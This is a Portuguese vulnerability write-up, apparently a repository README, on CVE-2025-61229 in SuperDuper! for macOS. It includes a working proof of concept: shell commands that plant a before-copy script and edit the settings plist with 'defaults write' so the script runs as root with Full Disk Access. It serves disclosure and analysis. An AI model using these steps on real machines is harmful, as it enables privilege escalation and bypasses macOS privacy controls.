graypixel2121/cve-2025-61229
Do blog do desenvolvedor:
Scripts shell Before/After definíveis pelo usuário são executados com privilégios elevados, com as permissões de Full Disk Access (Acesso Total ao Disco) do TCC do SuperDuper. Como esses scripts shell são referenciados pelos arquivos de configurações da cópia ou agendamento, um ator malicioso poderia modificar essas configurações para executar seu próprio script.
Da CVE:
Um problema no SuperDuper! 3.10 e anteriores da Shirt Pocket permite que um atacante local modifique o modelo de tarefa padrão para executar um script preflight arbitrário com privilégios de root e Full Disk Access, contornando assim os controles de privacidade do macOS.
Este autor não é o descobridor da vulnerabilidade, que é identificado pelo desenvolvedor do SuperDuper como "pesquisador de segurança anônimo". Não reivindico nenhum crédito pela descoberta desta vulnerabilidade; apenas me interessei em fazer uma análise técnica dela.
Pontuação CVSS 3.1: 7.8 Alta (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Para evitar esta vulnerabilidade, exclua o aplicativo SuperDuper! ou aplique a atualização 3.11.
Aviso: Você deve baixar a atualização diretamente do site do desenvolvedor para evitar a vulnerabilidade CVE-2025-61228.
Esta análise de exploit e prova de conceito é fornecida apenas para fins educacionais. Use por sua conta e risco.
Privilégios de root e Full Disk Access são os maiores privilégios que um software pode alcançar no macOS. Qualquer desenvolvedor que solicite esses privilégios deveria escrever software que siga princípios modernos de design de segurança e melhores práticas. Esta vulnerabilidade, bem como as expostas em CVE-2025-57489 e CVE-2025-61228, e até mesmo a admissão do próprio desenvolvedor de que esses problemas persistem há 22 anos, demonstram que o SuperDuper não foi projetado para ser um produto seguro e não recebeu melhorias regulares de design ao longo de 22 anos para aderir às melhores práticas modernas de segurança.
As configurações de tarefa do SuperDuper continuam inerentemente inseguras na versão atual (3.11) do produto. Eu aconselharia qualquer pessoa que use este produto a descontinuar seu uso até que o desenvolvedor possa fornecer uma atualização competente que resolva completamente todas as preocupações de segurança mencionadas anteriormente.
Esta vulnerabilidade foi muito mais fácil de explorar do que os dois exploits anteriores (CVE-2025-57489 e CVE-2025-61228) – francamente, foi fácil demais. Quando uma vulnerabilidade é tão óbvia, fácil de explorar e fica sem solução por décadas, você começa a se perguntar se escrever software seguro é importante para o desenvolvedor.
Começando com uma versão vulnerável do aplicativo, a primeira coisa que precisamos fazer é descobrir onde vive esse "modelo de tarefa padrão". O primeiro lugar óbvio para procurar seria ~/Library/Application Support/{vendor/product name}. Bingo, há três pastas em ~/Library/Application Support/SuperDuper!:
"Copy Scripts" contém apenas um symlink para uma pasta no bundle do aplicativo, então está descartada. Dentro de Saved Settings há uma pasta oculta chamada ".Default Settings.sdsp". Dentro dessa pasta há uma pasta "Logs" e um único arquivo chamado "Session Settings.sdss" que está no formato plist. O arquivo Session Settings é de propriedade do usuário conectado e, sim, todas as configurações de tarefa estão lá, simplesmente expostas nesse arquivo.
Os scripts before/after são controlados por quatro configurações:
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
Este script de teste simples provará ambos os aspectos da vulnerabilidade:
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
Então basta editar o plist "Session Settings.sdss". O utilitário defaults vai dar conta disso rapidamente, mas precisaremos fazer uma cópia desse arquivo porque defaults exige um arquivo com sufixo .plist:
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
Abra o SuperDuper e execute um backup. Quando terminar, procure pelo arquivo "private_data.txt" em /Library (ele deve ter uma lista de arquivos da sua Área de Trabalho, que só seria acessível a um aplicativo que tivesse o privilégio especial de acessar esses dados privados). Sinceramente, estou um pouco surpreso com o quão vulneráveis são as configurações de tarefa. "são" não é um erro de digitação. Eis como o desenvolvedor descreve a "solução" para esta vulnerabilidade:
Para mitigar esta vulnerabilidade, na v3.11 fizemos duas alterações:
Scripts shell Before/After são forçados a serem executados com o ID e privilégios do usuário. Pessoas que precisam de contextos de execução alternativos podem fazê-lo por meio de métodos Unix normais, como suid.
Os scripts devem ser de propriedade do usuário root, mesmo quando executados no contexto do usuário normal. Isso garante que qualquer script que venha a ser executado tenha sido explicitamente autorizado por um usuário administrativo.
Então eles impuseram algumas limitações sobre o que pode ser executado como script before/after, mas não parecem ter melhorado a segurança do arquivo de configurações de tarefa. Infelizmente, isso só é eficaz para limitar o atacante a não fazer nada produtivo. O único requisito para o script shell before/after é que ele seja de propriedade do root. Fora isso, o atacante ainda tem rédea solta para modificar o modelo de configurações de tarefa padrão. Isso é completamente absurdo. Talvez um atacante não possa usar esses scripts before/after para exfiltrar suas senhas e dados financeiros, mas aposto que poderia causar algum estrago especificando qualquer ferramenta de shell embutida aleatória (a maioria das quais atende ao requisito de propriedade do root). Vá em frente e coloque o utilitário "/usr/bin/say" como script Before e veja o que acontece – isso seria hilário se a segurança de dados não fosse um tópico tão sério. Nenhum dos utilitários embutidos terá impacto significativo sem a capacidade de modificar os argumentos, mas alguns deles podem causar algum aborrecimento e com certeza farão o backup falhar.
Meu ponto é que há uma diferença entre "evitar um exploit de root" e "escrever software seguro". O desenvolvedor conseguiu amplamente evitar duas oportunidades de exploit de root aqui, mas a configuração de tarefa ainda é inerentemente insegura. Qualquer pessoa aleatória pode modificar as configurações de tarefa "nos bastidores" e, se você não estiver prestando atenção, essas alterações podem causar algum tipo de impacto nos seus dados ou no seu backup.
Você também tem que se perguntar se essa falta de segurança nas outras configurações ainda poderia ser explorada.